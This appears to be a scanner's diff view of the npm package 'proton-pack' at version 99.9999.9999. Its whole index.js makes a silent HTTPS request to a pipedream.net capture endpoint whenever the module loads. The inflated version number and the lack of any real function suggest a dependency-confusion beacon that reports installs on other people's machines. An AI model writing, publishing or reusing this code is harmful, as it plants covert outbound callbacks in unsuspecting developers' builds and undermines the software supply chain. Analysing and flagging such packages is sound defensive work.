proton-pack 99.9999.9999
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +21 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
|
3
|
+
const options = {
|
4
|
+
hostname: 'eotylw47nee7s1t.m.pipedream.net',
|
5
|
+
port: 443,
|
6
|
+
path: '/',
|
7
|
+
method: 'GET'
|
8
|
+
};
|
9
|
+
|
10
|
+
const req = https.request(options, res => {
|
11
|
+
console.log(`statusCode: ${res.statusCode}`);
|
12
|
+
res.on('data', d => {
|
13
|
+
process.stdout.write(d);
|
14
|
+
});
|
15
|
+
});
|
16
|
+
|
17
|
+
req.on('error', error => {
|
18
|
+
console.error(error);
|
19
|
+
});
|
20
|
+
|
21
|
+
req.end();
|
package/package.json
ADDED